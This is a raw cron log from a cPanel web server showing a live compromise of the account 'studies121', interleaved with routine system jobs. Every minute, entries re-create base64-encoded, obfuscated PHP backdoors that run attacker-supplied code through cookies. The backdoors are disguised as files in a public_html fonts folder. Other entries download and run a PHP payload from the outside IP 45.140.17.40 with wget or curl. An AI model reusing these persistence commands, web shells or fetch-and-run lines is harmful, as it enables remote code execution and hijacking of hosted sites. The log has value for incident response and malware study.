Feb 23 01:23:02 ip-184-168-122-23 CROND[18697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:24:01 ip-184-168-122-23 CROND[18991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:24:01 ip-184-168-122-23 CROND[18994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:24:01 ip-184-168-122-23 CROND[18993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:24:01 ip-184-168-122-23 CROND[18995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:24:01 ip-184-168-122-23 CROND[18996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:25:01 ip-184-168-122-23 CROND[19334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:25:01 ip-184-168-122-23 CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:25:01 ip-184-168-122-23 CROND[19342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:25:01 ip-184-168-122-23 CROND[19340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:25:01 ip-184-168-122-23 CROND[19343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:25:01 ip-184-168-122-23 CROND[19341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:26:01 ip-184-168-122-23 CROND[19628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:26:01 ip-184-168-122-23 CROND[19630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:26:01 ip-184-168-122-23 CROND[19631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:26:01 ip-184-168-122-23 CROND[19629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:26:01 ip-184-168-122-23 CROND[19632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:27:01 ip-184-168-122-23 CROND[19907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:27:01 ip-184-168-122-23 CROND[19909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:27:01 ip-184-168-122-23 CROND[19911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:27:01 ip-184-168-122-23 CROND[19908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:28:01 ip-184-168-122-23 CROND[20269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:28:01 ip-184-168-122-23 CROND[20270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:28:01 ip-184-168-122-23 CROND[20274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:28:01 ip-184-168-122-23 CROND[20273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:28:01 ip-184-168-122-23 CROND[20276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:29:01 ip-184-168-122-23 CROND[20592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:29:01 ip-184-168-122-23 CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:29:01 ip-184-168-122-23 CROND[20596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:29:01 ip-184-168-122-23 CROND[20599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:30:01 ip-184-168-122-23 CROND[20951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:30:01 ip-184-168-122-23 CROND[20952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:31:01 ip-184-168-122-23 CROND[21307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:31:01 ip-184-168-122-23 CROND[21310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:31:01 ip-184-168-122-23 CROND[21311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:31:01 ip-184-168-122-23 CROND[21312]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 01:31:01 ip-184-168-122-23 CROND[21309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:32:01 ip-184-168-122-23 CROND[21646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:32:01 ip-184-168-122-23 CROND[21648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:32:01 ip-184-168-122-23 CROND[21651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:32:01 ip-184-168-122-23 CROND[21650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:32:01 ip-184-168-122-23 CROND[21649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:33:01 ip-184-168-122-23 CROND[21987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:33:01 ip-184-168-122-23 CROND[21989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:33:01 ip-184-168-122-23 CROND[21990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:33:01 ip-184-168-122-23 CROND[21991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:34:01 ip-184-168-122-23 CROND[22395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:34:01 ip-184-168-122-23 CROND[22398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:34:01 ip-184-168-122-23 CROND[22399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:34:01 ip-184-168-122-23 CROND[22397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:34:01 ip-184-168-122-23 CROND[22400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:35:01 ip-184-168-122-23 CROND[22739]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 01:35:01 ip-184-168-122-23 CROND[22740]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
